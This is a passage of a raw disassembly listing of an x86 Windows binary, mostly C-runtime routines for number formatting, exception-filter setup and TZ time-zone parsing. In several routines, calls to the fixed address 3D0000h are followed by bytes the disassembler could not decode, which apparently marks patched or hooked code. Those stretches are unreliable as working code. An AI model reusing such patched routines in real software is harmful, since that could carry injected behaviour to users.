ecx jmp short loc_41DC38 ; --------------------------------------------------------------------------- loc_41DBFC: ; CODE XREF: sub_41DB56+98j cmp ebx, eax jg short loc_41DC3F sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_41DA87 lea eax, [ebp+var_C] push esi push eax call sub_41DAC9 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_41D9FB mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_41DAC9 add esp, 20h loc_41DC38: ; CODE XREF: sub_41DB56+A4j xor esi, esi jmp loc_41DBBB ; --------------------------------------------------------------------------- loc_41DC3F: ; CODE XREF: sub_41DB56+A8j cmp ebx, [edi] jl short loc_41DC6B lea eax, [ebp+var_C] push eax call sub_41DAA2 push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_41DAC9 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_41DBBD ; --------------------------------------------------------------------------- loc_41DC6B: ; CODE XREF: sub_41DB56+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_41DAC9 pop ecx pop ecx loc_41DC82: ; CODE XREF: sub_41DB56+55j xor eax, eax loc_41DC84: ; CODE XREF: sub_41DB56+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_41DCB3 mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_41DCBD ; --------------------------------------------------------------------------- loc_41DCB3: ; CODE XREF: sub_41DB56+14Ej cmp edi, 20h jnz short loc_41DCBD mov ecx, [ebp+arg_4] mov [ecx], esi loc_41DCBD: ; CODE XREF: sub_41DB56+15Bj ; sub_41DB56+160j pop edi pop esi pop ebx leave retn sub_41DB56 endp ; =============== S U B R O U T I N E ======================================= sub_41DCC2 proc near ; CODE XREF: sub_41DCEE+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_4386D0 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41DB56 add esp, 0Ch retn sub_41DCC2 endp ; =============== S U B R O U T I N E ======================================= sub_41DCD8 proc near ; CODE XREF: sub_41DD1B+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_4386E8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41DB56 add esp, 0Ch retn sub_41DCD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DCEE proc near ; CODE XREF: sub_419FB8+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_41EB13 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41DCC2 add esp, 24h leave retn sub_41DCEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DD1B proc near ; CODE XREF: sub_419FB8+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_41EB13 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41DCD8 add esp, 24h leave retn sub_41DD1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DD48 proc near ; CODE XREF: sub_419FF6+65p ; sub_41A0FA+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_41DD85 mov [ebp+arg_0], ebx xor ebx, ebx loc_41DD6B: ; CODE XREF: sub_41DD48+38j mov dl, [ecx] test dl, dl jz short loc_41DD77 movsx edx, dl inc ecx jmp short loc_41DD7A ; --------------------------------------------------------------------------- loc_41DD77: ; CODE XREF: sub_41DD48+27j push 30h pop edx loc_41DD7A: ; CODE XREF: sub_41DD48+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_41DD6B mov edx, [ebp+arg_8] loc_41DD85: ; CODE XREF: sub_41DD48+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_41DD9E cmp byte ptr [ecx], 35h jl short loc_41DD9E loc_41DD91: ; CODE XREF: sub_41DD48+52j dec eax cmp byte ptr [eax], 39h jnz short loc_41DD9C mov byte ptr [eax], 30h jmp short loc_41DD91 ; --------------------------------------------------------------------------- loc_41DD9C: ; CODE XREF: sub_41DD48+4Dj inc byte ptr [eax] loc_41DD9E: ; CODE XREF: sub_41DD48+42j ; sub_41DD48+47j cmp byte ptr [esi], 31h jnz short loc_41DDA8 inc dword ptr [edx+4] jmp short loc_41DDBA ; --------------------------------------------------------------------------- loc_41DDA8: ; CODE XREF: sub_41DD48+59j push edi call sub_415CD0 inc eax push eax push edi push esi call sub_416470 add esp, 10h loc_41DDBA: ; CODE XREF: sub_41DD48+5Ej pop edi pop esi pop ebx pop ebp retn sub_41DD48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DDBF proc near ; CODE XREF: sub_419FF6+3Fp ; sub_41A0FA+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_41DE23 pop ecx lea esi, [ebp+var_C] pop ecx push offset word_469640 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_41EFE4 mov ds:dword_469668, eax add esp, 18h movsx eax, ds:byte_469642 mov ds:dword_469660, eax pop edi movsx eax, ds:word_469640 mov ds:dword_469664, eax mov ds:dword_46966C, offset dword_469644 mov eax, offset dword_469660 pop esi leave retn sub_41DDBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DE23 proc near ; CODE XREF: sub_41DDBF+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_41DE71 cmp ebx, edi jz short loc_41DE6A lea edi, [ecx+3C00h] jmp short loc_41DE92 ; --------------------------------------------------------------------------- loc_41DE6A: ; CODE XREF: sub_41DE23+3Dj mov edi, 7FFFh jmp short loc_41DE92 ; --------------------------------------------------------------------------- loc_41DE71: ; CODE XREF: sub_41DE23+39j xor ebx, ebx cmp eax, ebx jnz short loc_41DE89 cmp edx, ebx jnz short loc_41DE89 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_41DED4 ; --------------------------------------------------------------------------- loc_41DE89: ; CODE XREF: sub_41DE23+52j ; sub_41DE23+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_41DE92: ; CODE XREF: sub_41DE23+45j ; sub_41DE23+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_41DEAA: ; CODE XREF: sub_41DE23+A6j test ecx, esi jnz short loc_41DECB mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_41DEAA ; --------------------------------------------------------------------------- loc_41DECB: ; CODE XREF: sub_41DE23+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_41DED4: ; CODE XREF: sub_41DE23+64j pop edi pop esi pop ebx leave retn sub_41DE23 endp ; --------------------------------------------------------------------------- push 2 call sub_417BCE pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_41DEE2 proc near ; DATA XREF: sub_41DF28o ; seg002:004380A0o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_41DF05 cmp dword ptr [eax+10h], 3 jnz short loc_41DF05 cmp dword ptr [eax+14h], 19930520h jnz short loc_41DF05 jmp sub_41AB7C ; --------------------------------------------------------------------------- loc_41DF05: ; CODE XREF: sub_41DEE2+Dj ; sub_41DEE2+13j ... mov eax, ds:dword_469670 test eax, eax jz short loc_41DF22 push eax call sub_41DF7E test eax, eax pop ecx jz short loc_41DF22 push esi call ds:dword_469670 jmp short loc_41DF24 ; --------------------------------------------------------------------------- loc_41DF22: ; CODE XREF: sub_41DEE2+2Aj ; sub_41DEE2+35j xor eax, eax loc_41DF24: ; CODE XREF: sub_41DEE2+3Ej pop esi retn 4 sub_41DEE2 endp ; =============== S U B R O U T I N E ======================================= sub_41DF28 proc near ; DATA XREF: seg002:00423024o push offset sub_41DEE2 call ds:dword_42101C ; SetUnhandledExceptionFilter mov ds:dword_469670, eax retn sub_41DF28 endp ; =============== S U B R O U T I N E ======================================= sub_41DF39 proc near ; DATA XREF: seg002:0042303Co push ds:dword_469670 call ds:dword_42101C ; SetUnhandledExceptionFilter retn sub_41DF39 endp ; =============== S U B R O U T I N E ======================================= sub_41DF46 proc near ; CODE XREF: sub_41A3CE+6Bp ; sub_41A8DF+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 3D0000h fild word ptr [ebp+330274C0h] loc_41DF5D: ; CODE XREF: sub_41A8DF+73p ; sub_41A8DF+BFp ... test byte ptr [ebx+56C35EC6h], 6Ah sub_41DF46 endp ; sp-analysis failed add [esi-1], ebx jz short near ptr loc_41DF8B+2 or al, 0FFh jz short near ptr loc_41DF90+1 or al, 0E8h lea esp, [eax] sti jmp esp ; --------------------------------------------------------------------------- test eax, eax jz short loc_41DF7A xor esi, esi loc_41DF7A: ; CODE XREF: seg000:0041DF76j mov eax, esi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_41DF7E proc near ; CODE XREF: sub_41A8DF+15Bp ; sub_41DEE2+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call near ptr 3D0000h loc_41DF8B: ; CODE XREF: seg000:0041DF67j or eax, 274C085h loc_41DF90: ; CODE XREF: seg000:0041DF6Bj xor esi, esi mov eax, esi pop esi retn sub_41DF7E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41AB7C loc_41DF96: ; CODE XREF: sub_41AB7C:loc_41ABCDj push 0Ah call sub_41CEF9 push 16h call sub_41F277 pop ecx pop ecx push 3 call sub_417818 ; END OF FUNCTION CHUNK FOR sub_41AB7C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DFAD proc near ; CODE XREF: sub_41AD1D+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_41DFD0 cmp [ebp+arg_8], ebx jz short loc_41DFD0 mov al, [esi] cmp al, bl jnz short loc_41DFD6 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_41DFD0 mov [eax], bx loc_41DFD0: ; CODE XREF: sub_41DFAD+Cj ; sub_41DFAD+11j ... xor eax, eax loc_41DFD2: ; CODE XREF: sub_41DFAD+42j ; sub_41DFAD+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41DFD6: ; CODE XREF: sub_41DFAD+17j cmp ds:dword_469508, ebx jnz short loc_41DFF1 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_41DFEC movzx ax, al mov [ecx], ax loc_41DFEC: ; CODE XREF: sub_41DFAD+36j ; sub_41DFAD+C0j push 1 pop eax jmp short loc_41DFD2 ; --------------------------------------------------------------------------- loc_41DFF1: ; CODE XREF: sub_41DFAD+2Fj mov ecx, ds:off_437D50 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41E04E mov eax, ds:dword_437F5C cmp eax, 1 jle short loc_41E035 cmp [ebp+arg_8], eax jl short loc_41E03F xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push ds:dword_469518 call ds:dword_421064 ; MultiByteToWideChar test eax, eax mov eax, ds:dword_437F5C jnz short loc_41DFD2 loc_41E035: ; CODE XREF: sub_41DFAD+5Cj cmp [ebp+arg_8], eax jb short loc_41E03F cmp [esi+1], bl jnz short loc_41DFD2 loc_41E03F: ; CODE XREF: sub_41DFAD+61j ; sub_41DFAD+8Bj ... mov ds:dword_469474, 2Ah or eax, 0FFFFFFFFh jmp short loc_41DFD2 ; --------------------------------------------------------------------------- loc_41E04E: ; CODE XREF: sub_41DFAD+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push ds:dword_469518 call ds:dword_421064 ; MultiByteToWideChar test eax, eax jnz loc_41DFEC jmp short loc_41E03F sub_41DFAD endp ; =============== S U B R O U T I N E ======================================= sub_41E075 proc near ; CODE XREF: sub_41AD1D+76p ; sub_41AD1D+88p ... arg_0 = dword ptr 4 cmp ds:dword_437F5C, 1 jle short loc_41E08C push 8 push [esp+4+arg_0] call sub_418536 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41E08C: ; CODE XREF: sub_41E075+7j mov eax, [esp+arg_0] mov ecx, ds:off_437D50 mov al, [ecx+eax*2] and eax, 8 retn sub_41E075 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41E0A0 proc near ; CODE XREF: sub_41AD1D+797p ; sub_41AD1D+7E7p cmp cl, 40h jnb short loc_41E0BA cmp cl, 20h jnb short loc_41E0B0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_41E0B0: ; CODE XREF: sub_41E0A0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_41E0BA: ; CODE XREF: sub_41E0A0+3j xor eax, eax xor edx, edx retn sub_41E0A0 endp ; =============== S U B R O U T I N E ======================================= sub_41E0BF proc near ; CODE XREF: sub_41B793+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_41E10B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_41E0DD test al, 80h jz short loc_41E10B test al, 2 jnz short loc_41E10B loc_41E0DD: ; CODE XREF: sub_41E0BF+14j cmp dword ptr [esi+8], 0 jnz short loc_41E0EA push esi call sub_41D04C pop ecx loc_41E0EA: ; CODE XREF: sub_41E0BF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_41E0FA cmp dword ptr [esi+4], 0 jnz short loc_41E10B inc eax mov [esi], eax loc_41E0FA: ; CODE XREF: sub_41E0BF+30j test byte ptr [esi+0Ch], 40h jz short loc_41E111 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_41E117 inc eax mov [esi], eax loc_41E10B: ; CODE XREF: sub_41E0BF+9j ; sub_41E0BF+18j ... or eax, 0FFFFFFFFh loc_41E10E: ; CODE XREF: sub_41E0BF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41E111: ; CODE XREF: sub_41E0BF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_41E117: ; CODE XREF: sub_41E0BF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_41E10E sub_41E0BF endp ; =============== S U B R O U T I N E ======================================= sub_41E12D proc near ; CODE XREF: sub_41B7CE:loc_41B80Dp cmp ds:dword_469730, 0 jnz short locret_41E141 call sub_41E142 inc ds:dword_469730 locret_41E141: ; CODE XREF: sub_41E12D+7j retn sub_41E12D endp ; =============== S U B R O U T I N E ======================================= sub_41E142 proc near ; CODE XREF: sub_41E12D+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov ds:dword_469678, ebp mov ds:dword_4387A8, ebx mov ds:dword_438798, ebx call sub_41F3E9 mov esi, eax pop ecx cmp esi, ebp jnz loc_41E26B push offset dword_469680 call near ptr 3D0000h aam 3Bh retn ; --------------------------------------------------------------------------- jz loc_41E39A mov eax, ds:dword_469680 mov ecx, ds:dword_4696D4 imul eax, 3Ch cmp ds:word_4696C6, bp push 1 pop edx mov ds:dword_438700, eax mov ds:dword_469678, edx jz short loc_41E1B9 mov esi, ecx imul esi, 3Ch add eax, esi mov ds:dword_438700, eax loc_41E1B9: ; CODE XREF: sub_41E142+69j cmp ds:word_46971A, bp jz short loc_41E1DD mov eax, ds:dword_469728 cmp eax, ebp jz short loc_41E1DD sub eax, ecx mov ds:dword_438704, edx imul eax, 3Ch mov ds:dword_438708, eax jmp short loc_41E1E9 ; --------------------------------------------------------------------------- loc_41E1DD: ; CODE XREF: sub_41E142+7Ej ; sub_41E142+87j mov ds:dword_438704, ebp mov ds:dword_438708, ebp loc_41E1E9: ; CODE XREF: sub_41E142+99j lea eax, [esp+14h+var_4] mov esi, ds:dword_421138 push eax push ebp push 3Fh mov edi, 220h push ds:off_43878C push ebx push offset dword_469684 push edi push ds:dword_469518 call esi ; WideCharToMultiByte test eax, eax jz short loc_41E226 cmp [esp+14h+var_4], ebp jnz short loc_41E226 mov eax, ds:off_43878C and byte ptr [eax+3Fh], 0 jmp short loc_41E22E ; --------------------------------------------------------------------------- loc_41E226: ; CODE XREF: sub_41E142+D1j ; sub_41E142+D7j mov eax, ds:off_43878C and byte ptr [eax], 0 loc_41E22E: ; CODE XREF: sub_41E142+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push ds:off_438790 push ebx push offset dword_4696D8 push edi push ds:dword_469518 call esi ; WideCharToMultiByte test eax, eax jz loc_41E392 cmp [esp+14h+var_4], ebp jnz loc_41E392 mov eax, ds:off_438790 and byte ptr [eax+3Fh], 0 jmp loc_41E39A ; --------------------------------------------------------------------------- loc_41E26B: ; CODE XREF: sub_41E142+2Dj cmp byte ptr [esi], 0 jz loc_41E39A mov eax, ds:dword_46972C cmp eax, ebp jz short loc_41E28E push eax push esi call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41E39A loc_41E28E: ; CODE XREF: sub_41E142+139j push ds:dword_46972C call sub_415E1D push esi call sub_415CD0 inc eax push eax call sub_415DA9 add esp, 0Ch cmp eax, ebp mov ds:dword_46972C, eax jz loc_41E39A push esi push eax call sub_415BE0 push 3 push esi push ds:off_43878C call sub_416D20 mov eax, ds:off_43878C add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_41E2E3 push 1 inc esi pop edi loc_41E2E3: ; CODE XREF: sub_41E142+19Bj push esi call sub_4159B4 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov ds:dword_438700, ecx loc_41E2FA: ; CODE XREF: sub_41E142+1C7j mov al, [esi] cmp al, 2Bh jz short loc_41E308 cmp al, bl jl short loc_41E30B cmp al, 39h jg short loc_41E30B loc_41E308: ; CODE XREF: sub_41E142+1BCj inc esi jmp short loc_41E2FA ; --------------------------------------------------------------------------- loc_41E30B: ; CODE XREF: sub_41E142+1C0j ; sub_41E142+1C4j cmp byte ptr [esi], 3Ah jnz short loc_41E35E inc esi push esi call sub_4159B4 imul eax, 3Ch pop ecx mov ecx, ds:dword_438700 add ecx, eax mov ds:dword_438700, ecx loc_41E329: ; CODE XREF: sub_41E142+1F2j mov al, [esi] cmp al, bl jl short loc_41E336 cmp al, 39h jg short loc_41E336 inc esi jmp short loc_41E329 ; --------------------------------------------------------------------------- loc_41E336: ; CODE XREF: sub_41E142+1EBj ; sub_41E142+1EFj cmp byte ptr [esi], 3Ah jnz short loc_41E35E inc esi push esi call sub_4159B4 pop ecx mov ecx, ds:dword_438700 add ecx, eax mov ds:dword_438700, ecx loc_41E351: ; CODE XREF: sub_41E142+21Aj mov al, [esi] cmp al, bl jl short loc_41E35E cmp al, 39h jg short loc_41E35E inc esi jmp short loc_41E351 ; --------------------------------------------------------------------------- loc_41E35E: ; CODE XREF: sub_41E142+1CCj ; sub_41E142+1F7j ... cmp edi, ebp jz short loc_41E36A neg ecx mov ds:dword_438700, ecx loc_41E36A: ; CODE XREF: sub_41E142+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov ds:dword_438704, eax jz short loc_41E392 push 3 push esi push ds:off_438790 call sub_416D20 mov eax, ds:off_438790 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_41E39A ; --------------------------------------------------------------------------- loc_41E392: ; CODE XREF: sub_41E142+10Bj ; sub_41E142+115j ... mov eax, ds:off_438790 and byte ptr [eax], 0 loc_41E39A: ; CODE XREF: sub_41E142+40j ; sub_41E142+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_41E142 endp ; =============== S U B R O U T I N E ======================================= sub_41E3A0 proc near ; CODE XREF: sub_41B7CE+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp ds:dword_438704, edi jnz short loc_41E3B4 loc_41E3AD: ; CODE XREF: sub_41E3A0+148j ; sub_41E3A0+150j ... xor eax, eax jmp loc_41E500 ; --------------------------------------------------------------------------- loc_41E3B4: ; CODE XREF: sub_41E3A0+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, ds:dword_438798 jnz short loc_41E3D2 cmp eax, ds:dword_4387A8 jz loc_41E4D4 loc_41E3D2: ; CODE XREF: sub_41E3A0+24j cmp ds:dword_469678, edi jz loc_41E4AA movzx ecx, ds:word_469726 push ecx cmp ds:word_469718, di movzx ecx, ds:word_469724 push ecx movzx ecx, ds:word_469722 push ecx movzx ecx, ds:word_469720 push ecx jnz short loc_41E424 movzx ecx, ds:word_46971C push edi push ecx movzx ecx, ds:word_46971E push ecx movzx ecx, ds:word_46971A push ecx push eax push ebx jmp short loc_41E438 ; --------------------------------------------------------------------------- loc_41E424: ; CODE XREF: sub_41E3A0+65j movzx ecx, ds:word_46971E push ecx push edi movzx ecx, ds:word_46971A push edi push ecx push eax push edi loc_41E438: ; CODE XREF: sub_41E3A0+82j push ebx call sub_41E54C movzx eax, ds:word_4696D2 add esp, 2Ch cmp ds:word_4696C4, di push eax movzx eax, ds:word_4696D0 push eax movzx eax, ds:word_4696CE push eax movzx eax, ds:word_4696CC push eax jnz short loc_41E492 movzx eax, ds:word_4696C8 push edi push eax movzx eax, ds:word_4696CA push eax movzx eax, ds:word_4696C6 push eax push dword ptr [esi+14h] push ebx loc_41E487: ; CODE XREF: sub_41E3A0+108j push edi call sub_41E54C add esp, 2Ch jmp short loc_41E4D4 ; --------------------------------------------------------------------------- loc_41E492: ; CODE XREF: sub_41E3A0+C8j movzx eax, ds:word_4696CA push eax push edi movzx eax, ds:word_4696C6 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_41E487 ; --------------------------------------------------------------------------- loc_41E4AA: ; CODE XREF: sub_41E3A0+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_41E54C push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_41E54C add esp, 58h loc_41E4D4: ; CODE XREF: sub_41E3A0+2Cj ; sub_41E3A0+F0j mov edx, ds:dword_43879C mov eax, ds:dword_4387AC mov ecx, [esi+1Ch] cmp edx, eax jge short loc_41E504 cmp ecx, edx jl loc_41E3AD cmp ecx, eax jg loc_41E3AD cmp ecx, edx jle short loc_41E518 cmp ecx, eax jge short loc_41E518 loc_41E4FE: ; CODE XREF: sub_41E3A0+166j ; sub_41E3A0+16Aj mov eax, ebx loc_41E500: ; CODE XREF: sub_41E3A0+Fj ; sub_41E3A0+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41E504: ; CODE XREF: sub_41E3A0+144j cmp ecx, eax jl short loc_41E4FE cmp ecx, edx jg short loc_41E4FE cmp ecx, eax jle short loc_41E518 cmp ecx, edx jl loc_41E3AD loc_41E518: ; CODE XREF: sub_41E3A0+158j ; sub_41E3A0+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_41E53F xor ecx, ecx cmp eax, ds:dword_4387A0 setnl cl loc_41E53B: ; CODE XREF: sub_41E3A0+1AAj mov eax, ecx jmp short loc_41E500 ; --------------------------------------------------------------------------- loc_41E53F: ; CODE XREF: sub_41E3A0+18Ej xor ecx, ecx cmp eax, ds:dword_4387B0 setl cl jmp short loc_41E53B sub_41E3A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E54C proc near ; CODE XREF: sub_41E3A0+99p ; sub_41E3A0+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_41E5E7 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_41E577 shl esi, 2 mov eax, ds:dword_4387B0[esi] jmp short loc_41E580 ; --------------------------------------------------------------------------- loc_41E577: ; CODE XREF: sub_41E54C+1Ej shl esi, 2 mov eax, ds:dword_4387E4[esi] loc_41E580: ; CODE XREF: sub_41E54C+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jge short loc_41E5BA imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_41E5C4 ; --------------------------------------------------------------------------- loc_41E5BA: ; CODE XREF: sub_41E54C+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_41E5C4: ; CODE XREF: sub_41E54C+6Cj cmp [ebp+arg_10], 5 jnz short loc_41E602 cmp [ebp+arg_8], 0 jnz short loc_41E5D8 mov esi, ds:dword_4387B4[esi] jmp short loc_41E5DE ; --------------------------------------------------------------------------- loc_41E5D8: ; CODE XREF: sub_41E54C+82j mov esi, ds:dword_4387E8[esi] loc_41E5DE: ; CODE XREF: sub_41E54C+8Aj cmp ecx, esi jle short loc_41E602 sub ecx, 7 jmp short loc_41E602 ; --------------------------------------------------------------------------- loc_41E5E7: ; CODE XREF: sub_41E54C+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_41E5F8 mov ecx, ds:dword_4387B0[eax*4] jmp short loc_41E5FF ; --------------------------------------------------------------------------- loc_41E5F8: ; CODE XREF: sub_41E54C+A1j mov ecx, ds:dword_4387E4[eax*4] loc_41E5FF: ; CODE XREF: sub_41E54C+AAj add ecx, [ebp+arg_18] loc_41E602: ; CODE XREF: sub_41E54C+7Cj ; sub_41E54C+94j ... cmp [ebp+arg_0], 1 jnz short loc_41E633 mov eax, [ebp+arg_1C] mov ds:dword_43879C, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov ds:dword_438798, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov ds:dword_4387A0, eax jmp short loc_41E688 ; --------------------------------------------------------------------------- loc_41E633: ; CODE XREF: sub_41E54C+BAj mov eax, [ebp+arg_1C] mov ds:dword_4387AC, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, ds:dword_438708 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov ds:dword_4387B0, eax jns short loc_41E66B add eax, 5265C00h dec ecx mov ds:dword_4387B0, eax jmp short loc_41E67C ; --------------------------------------------------------------------------- loc_41E66B: ; CODE XREF: sub_41E54C+110j mov edx, 5265C00h cmp eax, edx jl short loc_41E682 sub eax, edx inc ecx mov ds:dword_4387B0, eax loc_41E67C: ; CODE XREF: sub_41E54C+11Dj mov ds:dword_4387AC, ecx loc_41E682: ; CODE XREF: sub_41E54C+126j mov ds:dword_4387A8, ebx loc_41E688: ; CODE XREF: sub_41E54C+E5j pop esi pop ebx pop ebp retn sub_41E54C endp ; =============== S U B R O U T I N E ======================================= sub_41E68C proc near ; CODE XREF: seg000:0041C7CDp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_41E69D add esp, 0Ch retn sub_41E68C endp ; =============== S U B R O U T I N E ======================================= sub_41E69D proc near ; CODE XREF: 